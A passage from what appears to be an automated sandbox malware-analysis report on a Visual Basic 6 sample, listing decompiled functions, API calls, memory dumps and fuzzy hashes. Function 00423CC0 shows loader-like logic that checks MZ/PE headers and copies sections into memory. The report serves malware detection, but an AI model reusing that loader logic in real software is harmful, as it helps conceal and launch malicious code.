				return _t37;
			}

0x0041ce23
0x0041ce32
0x0041ce39
0x0041ce3f
0x0041ce42
0x0041ce49
0x0041ce51
0x0041ce54
0x0041ce58
0x0041ce5d
0x0041ce60
0x0041ce63
0x0041ce66
0x0041ce69
0x0041ce6c
0x0041ce6f
0x0041ce7a
0x0041ce8a
0x0041ce8e
0x0041ce94
0x0041ce96
0x0041cea3
0x0041ceb0
0x0041ceb4
0x0041ceb7
0x0041cebc
0x0041cec2
0x0041cec5
0x0041cecb
0x0041ced0
0x0041cedb
0x0041cee1
0x0041cee5
0x0041cee7
0x0041cef5
0x0041cef5
0x0041cefe
0x0041cf07
0x0041cf10
0x0041cf10
0x0041cf19
0x0041cf21
0x0041cf2f
0x0041cf2f
0x0041cf35
0x0041cf38
0x00000000

APIs

Part of subcall function 0041E380: __vbaNew2.MSVBVM60(0040B730,?,?,00401700,00000000), ref: 0041E3C3
Part of subcall function 0041E380: __vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000028,?,00401700,00000000), ref: 0041E3E4
Part of subcall function 0041E380: __vbaVarTextTstEq.MSVBVM60(?,?,?,00401700,00000000), ref: 0041E3F5
Part of subcall function 0041E380: __vbaFreeVar.MSVBVM60(?,00401700,00000000), ref: 0041E400

__vbaObjSet.MSVBVM60(?,00000000), ref: 0041CE8E

Part of subcall function 0041E040: __vbaNew2.MSVBVM60(0040B730,?,00000000,00401700,80020004), ref: 0041E083
Part of subcall function 0041E040: __vbaHresultCheckObj.MSVBVM60(00000000,00401700,00411158,00000028,?,?,?,?,?,?,?,?,?,?,?,00401738), ref: 0041E0A4
Part of subcall function 0041E040: __vbaVarMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00401738,00401D26), ref: 0041E0B0
Part of subcall function 0041E040: __vbaNew2.MSVBVM60(0040B730,?,?,?,?,?,?,?,?,?,?,?,?,00401738,00401D26), ref: 0041E0C0
Part of subcall function 0041E040: __vbaHresultCheckObj.MSVBVM60(00000000,00401700,00411158,00000024,?,?,?,?,?,?,?,?,?,?,?,00401738), ref: 0041E0E1
Part of subcall function 0041E040: __vbaObjSetAddref.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401738,00401D26), ref: 0041E0EC
Part of subcall function 0041E040: __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00401738,00401D26), ref: 0041E0F5

__vbaStrVarVal.MSVBVM60(?,?), ref: 0041CED0
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004110D8,000001EC), ref: 0041CEF5
__vbaFreeStr.MSVBVM60 ref: 0041CEFE
__vbaFreeObj.MSVBVM60 ref: 0041CF07
__vbaFreeVar.MSVBVM60 ref: 0041CF10
__vbaHresultCheckObj.MSVBVM60(00000000,00401700,00410B74,000006F8), ref: 0041CF2F

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresult$New2$AddrefMoveText
String ID:
API String ID: 1535432862-0
Opcode ID: 39dbd0a0bc643378dd1014624c1853a9ac8910d729adec2d9477d7c4a1e1546b
Instruction ID: abe30a7120a3155b0d7a314066ee02b126323e20a8f2c762e416aabec9f06969
Opcode Fuzzy Hash: 39dbd0a0bc643378dd1014624c1853a9ac8910d729adec2d9477d7c4a1e1546b
Instruction Fuzzy Hash: 4631507494024AAFCB00DFA5C9899DEBBB8FF08704F10852EF546E7691D7389986CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004182A0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E004182A0(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v40;
				char _v48;
				void* _t29;
				intOrPtr* _t30;
				void* _t31;
				signed int _t34;
				void* _t37;
				intOrPtr* _t41;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr* _t58;
				void* _t59;
				void* _t61;
				intOrPtr _t62;
				intOrPtr _t63;

				_t62 = _t61 - 0xc;
				 *[fs:0x0] = _t62;
				_t63 = _t62 - 0x30;
				_v16 = _t63;
				_v12 = 0x401508;
				_v8 = 0;
				_t58 = _a4;
				 *((intOrPtr*)( *_t58 + 4))(_t58, __edi, __esi, __ebx,  *[fs:0x0], 0x401d26, _t59);
				_v28 = 0;
				_v48 = 0;
				_t29 =  *((intOrPtr*)( *_t58 + 0x2b0))(_t58,  &_v28);
				asm("fclex");
				if(_t29 >= 0) {
					_t41 = __imp____vbaHresultCheckObj;
				} else {
					_t41 = __imp____vbaHresultCheckObj;
					 *_t41(_t29, _t58, 0x40f430, 0x2b0);
				}
				_t30 = _v28;
				_t54 = _t30;
				_t31 =  *((intOrPtr*)( *_t30 + 0x3c))(_t30,  &_v48);
				asm("fclex");
				if(_t31 < 0) {
					 *_t41(_t31, _t54, 0x410678, 0x3c);
				}
				_t34 =  ~(0 | _v48 == 0x00000000);
				__imp____vbaFreeObj();
				if(_t34 != 0) {
					_t34 =  *((intOrPtr*)( *_t58 + 0x8a4))(_t58);
				}
				__imp____vbaI2I4();
				_t56 = _t63 - 0x10;
				 *(_t58 + 0x50) = _t34;
				 *_t56 = 8;
				 *((intOrPtr*)(_t56 + 4)) = _v40;
				 *(_t56 + 8) = L"ScrollBars";
				 *((intOrPtr*)(_t56 + 0xc)) = _v32;
				_t37 =  *((intOrPtr*)( *_t58 + 0x390))(_t58);
				asm("fclex");
				if(_t37 < 0) {
					_t37 =  *_t41(_t37, _t58, 0x40f430, 0x390);
				}
				_push(0x4183ac);
				return _t37;
			}

0x004182a3
0x004182b2
0x004182b9
0x004182bf
0x004182c2
0x004182cb
0x004182ce
0x004182d4
0x004182de
0x004182e1
0x004182e4
0x004182ec
0x004182ee
0x00418306
0x004182f0
0x004182f0
0x00418302
0x00418302
0x0041830c
0x00418316
0x00418318
0x0041831d
0x0041831f
0x0041832a
0x0041832a
0x00418338
0x0041833c
0x00418345
0x0041834a
0x0041834a
0x00418353
0x00418361
0x00418365
0x0041836e
0x00418374
0x00418377
0x0041837d
0x00418380
0x00418388
0x0041838a
0x00418398
0x00418398
0x0041839a
0x00000000

APIs

__vbaHresultCheckObj.MSVBVM60(00000000,00401508,0040F430,000002B0), ref: 00418302
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410678,0000003C), ref: 0041832A
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041833C
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418353
__vbaHresultCheckObj.MSVBVM60(00000000,00401508,0040F430,00000390), ref: 00418398

Strings

ScrollBars, xrefs: 00418369

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckHresult$Free
String ID: ScrollBars
API String ID: 3976024557-3358924163
Opcode ID: 2ddb2dc95add79ded1bcbfe941e0db9d4e22d543f7465bfcf1a2e18eab6e9ed3
Instruction ID: 88c6a321770787cc137e989cf8404dee28f7b2be1861ff3ee63a030beb800251
Opcode Fuzzy Hash: 2ddb2dc95add79ded1bcbfe941e0db9d4e22d543f7465bfcf1a2e18eab6e9ed3
Instruction Fuzzy Hash: 2A317270900304AFC700DFA9C949ADBBBF9FF58B00F14852EE555E7690DB79A8458B98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E040, Relevance: 10.6, APIs: 7, Instructions: 69COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(0040B730,?,00000000,00401700,80020004), ref: 0041E083
__vbaHresultCheckObj.MSVBVM60(00000000,00401700,00411158,00000028,?,?,?,?,?,?,?,?,?,?,?,00401738), ref: 0041E0A4
__vbaVarMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00401738,00401D26), ref: 0041E0B0
__vbaNew2.MSVBVM60(0040B730,?,?,?,?,?,?,?,?,?,?,?,?,00401738,00401D26), ref: 0041E0C0
__vbaHresultCheckObj.MSVBVM60(00000000,00401700,00411158,00000024,?,?,?,?,?,?,?,?,?,?,?,00401738), ref: 0041E0E1
__vbaObjSetAddref.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401738,00401D26), ref: 0041E0EC
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00401738,00401D26), ref: 0041E0F5

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckHresultNew2$AddrefFreeMove
String ID:
API String ID: 761186269-0
Opcode ID: 560a3dcd597402b791b5e8b89e03016b881d1fb502b4d6df532b9516abbed2ba
Instruction ID: 75776c9786be6d04ac7cdc0b39a8c0ab4a0650c693c7e4535d323942b1380a1b
Opcode Fuzzy Hash: 560a3dcd597402b791b5e8b89e03016b881d1fb502b4d6df532b9516abbed2ba
Instruction Fuzzy Hash: 9E213D74940209BBCB109F55CD89EDABBB8FB59701F20402AF546B31A0D7746888CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0041D830, Relevance: 10.6, APIs: 7, Instructions: 69COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(0040B730,?,0041A58C,0040160E,00000000), ref: 0041D873
__vbaHresultCheckObj.MSVBVM60(00000000,0040160E,00411158,00000028), ref: 0041D894
__vbaVarMove.MSVBVM60 ref: 0041D8A0
__vbaNew2.MSVBVM60(0040B730,?), ref: 0041D8B0
__vbaHresultCheckObj.MSVBVM60(00000000,0040160E,00411158,00000024), ref: 0041D8D1
__vbaObjSetAddref.MSVBVM60(?,?), ref: 0041D8DC
__vbaFreeObj.MSVBVM60 ref: 0041D8E5

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckHresultNew2$AddrefFreeMove
String ID:
API String ID: 761186269-0
Opcode ID: 75236f28268deefaa640679216c9989adff47f36a41fa1c2da724130fc1a8d6b
Instruction ID: 4193a271b04162bfe98f5c40649446b1413f6bc0dd1a5f5878afc4e2b40bbb19
Opcode Fuzzy Hash: 75236f28268deefaa640679216c9989adff47f36a41fa1c2da724130fc1a8d6b
Instruction Fuzzy Hash: D02141B0900205BBCB10AF55CD89EDEBBB8FF59755F100039F542B31A0D7745888CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00424100, Relevance: 10.6, APIs: 7, Instructions: 67COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,00000000,?), ref: 0042413E
#608.MSVBVM60(?), ref: 00424170
__vbaVarCat.MSVBVM60(?,?,00000008), ref: 00424182
__vbaStrVarMove.MSVBVM60(00000000), ref: 00424189
__vbaStrMove.MSVBVM60 ref: 00424196
__vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 004241A2
__vbaErrorOverflow.MSVBVM60 ref: 004241E4

Memory Dump Source

Source File: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Move$#608CopyErrorFreeListOverflow
String ID:
API String ID: 224696310-0
Opcode ID: 12fde72446bb504533e342735379de782f866947bc6f24ff4ca0ce03cc353297
Instruction ID: d9deb678c685300fd312cf3568453abdbd1b0516cb045a27177e64b5717359ac
Opcode Fuzzy Hash: 12fde72446bb504533e342735379de782f866947bc6f24ff4ca0ce03cc353297
Instruction Fuzzy Hash: 9311D575A00259AFDB14CF94EA48AEE77B8FB48701F504026F505A3250E7786E058B69

Uniqueness

Uniqueness Score: -1.00%

Function 00418CE0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__vbaStrI4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418D1E
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418D29
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418D34
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418D3D
__vbaHresultCheckObj.MSVBVM60(00000000,004015D0,0040F430,00000390,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418D7E

Strings

FormatText, xrefs: 00418D4F

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckCopyFreeHresultMove
String ID: FormatText
API String ID: 2366466627-2196219705
Opcode ID: df22f6435530819ac231e12326990d795a244dc4129ef9c5e86be5c3e9fab0ad
Instruction ID: 93c431ecf1583040acda965a528e3ccf86d7fb3ce1253c2d416d41a78d2c1eb0
Opcode Fuzzy Hash: df22f6435530819ac231e12326990d795a244dc4129ef9c5e86be5c3e9fab0ad
Instruction Fuzzy Hash: 99112174900204AFC714DF69DA89A9ABFF8FF58700F10816AF506E73A4DB78A945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 003E06F0, Relevance: 9.2, APIs: 6, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2256690931.00000000003E0000.00000040.00000001.sdmp, Offset: 003E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_tmp_e473b4.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction ID: 2013cccdc5560c63cc9c067863379142da5f647e163ff60c53d731994f99eafb
Opcode Fuzzy Hash: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction Fuzzy Hash: 7D51B672A043A19BD72ADF27C840B5FB3E89BD4794F04072DF548E7281E2B5D945C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00426970, Relevance: 9.1, APIs: 6, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E00426970(void* __ebx, void* __edi, void* __esi, signed int _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v28;
				void* _t27;
				void* _t29;
				void* _t31;
				void* _t35;
				intOrPtr* _t37;
				intOrPtr* _t47;
				intOrPtr* _t48;
				signed int _t50;
				signed int _t51;
				void* _t52;
				void* _t54;
				intOrPtr _t55;

				_t55 = _t54 - 0xc;
				 *[fs:0x0] = _t55;
				_v16 = _t55 - 0x14;
				_v12 = 0x401cc8;
				_t50 = _a4;
				_v8 = _t50 & 0x00000001;
				_t51 = _t50 & 0xfffffffe;
				_a4 = _t51;
				 *((intOrPtr*)( *_t51 + 4))(_t51, __edi, __esi, __ebx,  *[fs:0x0], 0x401d26, _t52);
				_v28 = 0;
				if( *((short*)(_t51 + 0x34)) != 1) {
					if( *0x42a056 == 0xffff) {
						_t29 =  *((intOrPtr*)( *_t51 + 0x2fc))(_t51);
						_t37 = __imp____vbaObjSet;
						_t47 =  *_t37( &_v28, _t29);
						_t31 =  *((intOrPtr*)( *_t47 + 0x5c))(_t47, 0);
						asm("fclex");
						if(_t31 < 0) {
							__imp____vbaHresultCheckObj(_t31, _t47, 0x412014, 0x5c);
						}
						__imp____vbaFreeObj();
						_t48 =  *_t37( &_v28,  *((intOrPtr*)( *_t51 + 0x2fc))(_t51));
						_t35 =  *((intOrPtr*)( *_t48 + 0x5c))(_t48, 0xffffffff);
						asm("fclex");
						if(_t35 < 0) {
							__imp____vbaHresultCheckObj(_t35, _t48, 0x412014, 0x5c);
						}
						__imp____vbaFreeObj();
					}
					 *((short*)(_t51 + 0x34)) = 1;
					_t27 =  *((intOrPtr*)( *_t51 + 0x714))(_t51);
				} else {
					 *((short*)(_t51 + 0x34)) = 2;
					_t27 =  *((intOrPtr*)( *_t51 + 0x714))(_t51);
				}
				_v8 = 0;
				_push(0x426a7a);
				return _t27;
			}

0x00426973
0x00426982
0x0042698f
0x00426992
0x00426999
0x004269a1
0x004269a4
0x004269a8
0x004269ad
0x004269b5
0x004269bc
0x004269da
0x004269df
0x004269e5
0x004269f2
0x004269f9
0x004269fe
0x00426a00
0x00426a0b
0x00426a0b
0x00426a14
0x00426a2a
0x00426a31
0x00426a36
0x00426a38
0x00426a43
0x00426a43
0x00426a4c
0x00426a4c
0x00426a55
0x00426a5b
0x004269be
0x004269c1
0x004269c7
0x004269c7
0x00426a61
0x00426a68
0x00000000

APIs

__vbaObjSet.MSVBVM60(00000000,00000000), ref: 004269F0
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00412014,0000005C), ref: 00426A0B
__vbaFreeObj.MSVBVM60 ref: 00426A14
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 00426A28
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00412014,0000005C), ref: 00426A43
__vbaFreeObj.MSVBVM60 ref: 00426A4C

Memory Dump Source

Source File: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresult
String ID:
API String ID: 444973724-0
Opcode ID: 07c4af59592e19c593237c716ab18da44d703ac76c12bee90187a58281a0d908
Instruction ID: c9fcb309fc25fa29369b2048aa47880278ec3734a389c4e3143a9d0f139fde5f
Opcode Fuzzy Hash: 07c4af59592e19c593237c716ab18da44d703ac76c12bee90187a58281a0d908
Instruction Fuzzy Hash: 9C316170600215ABD7109F64DD49EABBBB8FF05704F604169F545E32E1D778A8858FA4

Uniqueness

Uniqueness Score: -1.00%

Function 00423CC0, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00423CC0(void* __ebx, void* __esi, void* __ebp, intOrPtr _a4) {
				intOrPtr _v4;
				intOrPtr _v12;
				intOrPtr _v24;
				intOrPtr _v176;
				intOrPtr _v192;
				void _v248;
				short _v268;
				intOrPtr _v282;
				intOrPtr _v284;
				void _v288;
				intOrPtr _v296;
				char _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				short _v544;
				short _v556;
				void _v564;
				signed char _v568;
				char _v628;
				intOrPtr _v636;
				signed int _v640;
				signed int _v644;
				intOrPtr _v780;
				void _v888;
				void* _t54;
				void* _t55;
				intOrPtr _t57;
				int _t59;
				void* _t62;
				signed char _t65;
				void* _t66;
				void* _t69;
				void* _t73;
				void* _t74;
				void* _t76;
				void* _t79;
				void* _t80;
				void* _t83;
				void* _t85;
				void* _t86;
				void* _t88;
				intOrPtr _t90;
				void* _t93;
				void* _t98;
				intOrPtr _t120;
				void* _t122;
				intOrPtr _t123;
				intOrPtr _t124;
				short _t126;
				intOrPtr _t133;
				void* _t134;
				intOrPtr _t139;
				void* _t142;
				void* _t143;
				signed int _t148;
				signed int _t149;
				void* _t156;
				intOrPtr _t157;
				void* _t159;
				void* _t161;
				void* _t162;
				void* _t163;
				void* _t164;
				void* _t166;
				void* _t170;
				void* _t172;
				void* _t175;
				void* _t178;
				void* _t181;

				_t93 = __ebx;
				memset( &_v288, memset( &_v248, 0, 0x3e << 2), 0xa << 2);
				_t175 = _t172 - 0x120 + 0x18;
				_t139 = _a4;
				_t54 =  &_v248;
				L18();
				__imp____vbaI4Str(L"&H1000", 4, _t139, _t54, _t134, __esi, __ebp, __ebx);
				_push(_t54);
				_push(_v176);
				_push(_v4);
				_t55 = E00423FD0();
				_push(_v192);
				_push(_t139);
				_push(_t55);
				E00424000();
				_t156 = _t54 + 4;
				_t126 = _v268;
				_t57 = _v282;
				if(_t156 < 0) {
					L17:
					__imp____vbaErrorOverflow();
					0;
					0;
					_push(_t93);
					_push(_t156);
					_push(_t139);
					_t59 = memset( &_v564, 0, 0x3e << 2);
					_t142 =  &_v628;
					memset(_t142, _t59, 0x10 << 2);
					_t178 = _t175 - 0x138 + 0x18;
					_t143 = _t142 + 0x10;
					_t62 = E004240A0( &_v628);
					_push(0x40);
					_t157 = _v316;
					_push(_t157);
					_push(_t62);
					E00424000();
					if((_v644 & 0x0000ffff) != 0x5a4d) {
						L25:
						return 0;
					} else {
						_t65 = _v568;
						if((_t65 & 0x00000003) != 0) {
							goto L25;
						} else {
							_t66 = _t65 + _t157;
							if(_t66 < 0) {
								__imp____vbaErrorOverflow();
								0;
								_push(0);
								_push(_t157);
								_push(_t143);
								memset( &_v888, 0, 0x3e << 2);
								_t181 = _t178 - 0xf8 + 0xc;
								_t69 =  &_v888;
								_push(_t69);
								_push(_v636);
								L18();
								_t159 = _t69;
								if(_t159 == 0) {
									L38:
									return 0;
								} else {
									_t148 = _v640;
									if(_t148 < 0 || _t148 >= _v780) {
										goto L38;
									} else {
										_t98 = E004240A0(_v636);
										if(_t148 >= 0x10) {
											__imp____vbaGenerateBoundsError();
										}
										_t73 = E004240A0(_t181 + 0x84 + _t148 * 8);
										_push(8);
										_push(_t73);
										_push(_t98);
										_t74 = E00424000();
										_t161 = _t159 + 4;
										if(_t161 < 0) {
											L39:
											__imp____vbaErrorOverflow();
											return _t74;
										}
										_t162 = _t161 + 0x14;
										if(_t162 < 0) {
											goto L39;
										}
										_t163 = _t162 + 0x60;
										if(_t163 < 0) {
											goto L39;
										}
										_t149 = _t148 * 8;
										if(_t149 < 0) {
											goto L39;
										}
										_t164 = _t163 + _t149;
										if(_t164 < 0) {
											goto L39;
										}
										return _t164;
									}
								}
							} else {
								_t166 = _t66;
								_t76 = E004240A0( &_v564);
								_push(0xf8);
								_push(_t166);
								_push(_t76);
								E00424000();
								if(_v556 != 0x10b || _v564 != 0x4550 || _v544 != 0xe0) {
									goto L25;
								} else {
									_t79 = E004240A0(_v308);
									_t80 = E004240A0( &_v568);
									_push(0xf8);
									_push(_t80);
									_push(_t79);
									E00424000();
									return _t166;
								}
							}
						}
					}
				} else {
					_t156 = _t156 + 0x14;
					if(_t156 < 0) {
						goto L17;
					} else {
						_t156 = _t156 + _t126;
						if(_t156 < 0) {
							goto L17;
						} else {
							_t83 = _t57 - 1;
							if(_t83 < 0) {
								goto L17;
							} else {
								_t170 = _t83;
								_t93 = 0;
								if(_t170 < 0) {
									L16:
									return 0;
								} else {
									while(1) {
										_t85 = E004240A0( &_v300);
										_t86 = E00424000();
										__imp____vbaI4Str(L"&H1000", 4, _t85, _t156, 0x28);
										_push(_t86);
										_t139 = _v24;
										_t88 = _v308 + _t139;
										_push(_v312);
										if(_t88 < 0) {
											goto L17;
										}
										_push(_t88);
										_t139 = E00423FD0();
										_t90 = _v304;
										if(_t90 == 0) {
											L13:
											__imp____vbaUI1I2();
											_push(_t90);
											_push(_v296);
											_push(_t139);
											E00424010();
											_t156 = _t156 + 0x28;
											if(_t156 < 0) {
												goto L17;
											} else {
												_t93 = _t93 + 1;
												if(_t93 < 0) {
													goto L17;
												} else {
													if(_t93 <= _t170) {
														continue;
													} else {
														goto L16;
													}
												}
											}
										} else {
											_t120 = _v296;
											if(_t90 > _t120) {
												_t90 = _t120;
												_v288 = _t90;
											}
											_t122 = _v284 + _v12;
											_push(_t90);
											if(_t122 < 0) {
												goto L17;
											} else {
												_push(_t122);
												_push(_t139);
												E00424000();
												_t90 = _v300;
												_t123 = _v308;
												_t133 = _t90 + _t139;
												if(_t133 < 0) {
													goto L17;
												} else {
													_t124 = _t123 - _t90;
													_t139 = _t133;
													if(_t124 < 0) {
														goto L17;
													} else {
														_v296 = _t124;
														goto L13;
													}
												}
											}
										}
										goto L41;
									}
									goto L17;
								}
							}
						}
					}
				}
				goto L41;
			}

0x00423cc0
0x00423ce0
0x00423ce0
0x00423ce2
0x00423ce9
0x00423cef
0x00423cfd
0x00423d03
0x00423d12
0x00423d13
0x00423d14
0x00423d20
0x00423d21
0x00423d22
0x00423d23
0x00423d28
0x00423d2b
0x00423d30
0x00423d35
0x00423e1e
0x00423e1e
0x00423e2a
0x00423e2e
0x00423e3d
0x00423e3e
0x00423e3f
0x00423e44
0x00423e4b
0x00423e4f
0x00423e4f
0x00423e4f
0x00423e58
0x00423e5d
0x00423e5f
0x00423e66
0x00423e67
0x00423e68
0x00423e7d
0x00423ef2
0x00423efd
0x00423e7f
0x00423e7f
0x00423e85
0x00000000
0x00423e87
0x00423e87
0x00423e8d
0x00423f00
0x00423f0c
0x00423f1d
0x00423f1e
0x00423f1f
0x00423f24
0x00423f24
0x00423f2d
0x00423f31
0x00423f32
0x00423f35
0x00423f3a
0x00423f3e
0x00423faa
0x00423fb5
0x00423f40
0x00423f40
0x00423f49
0x00000000
0x00423f54
0x00423f64
0x00423f66
0x00423f68
0x00423f68
0x00423f76
0x00423f7b
0x00423f7d
0x00423f7e
0x00423f7f
0x00423f84
0x00423f87
0x00423fb8
0x00423fb8
0x00000000
0x00423fb8
0x00423f89
0x00423f8c
0x00000000
0x00000000
0x00423f8e
0x00423f91
0x00000000
0x00000000
0x00423f93
0x00423f96
0x00000000
0x00000000
0x00423f98
0x00423f9b
0x00000000
0x00000000
0x00423fa7
0x00423fa7
0x00423f49
0x00423e8f
0x00423e90
0x00423e92
0x00423e97
0x00423e9c
0x00423e9d
0x00423e9e
0x00423eaa
0x00000000
0x00423ebf
0x00423ec7
0x00423ed3
0x00423ed8
0x00423edd
0x00423ede
0x00423edf
0x00423eef
0x00423eef
0x00423eaa
0x00423e8d
0x00423e85
0x00423d3b
0x00423d3b
0x00423d3e
0x00000000
0x00423d44
0x00423d44
0x00423d46
0x00000000
0x00423d4c
0x00423d4c
0x00423d50
0x00000000
0x00423d56
0x00423d56
0x00423d59
0x00423d5d
0x00423e0f
0x00423e1b
0x00423d63
0x00423d63
0x00423d68
0x00423d71
0x00423d7d
0x00423d83
0x00423d88
0x00423d93
0x00423d95
0x00423d96
0x00000000
0x00000000
0x00423d9c
0x00423da2
0x00423da4
0x00423daa
0x00423de9
0x00423deb
0x00423df5
0x00423df6
0x00423df7
0x00423df8
0x00423dfd
0x00423e00
0x00000000
0x00423e02
0x00423e02
0x00423e05
0x00000000
0x00423e07
0x00423e09
0x00000000
0x00000000
0x00000000
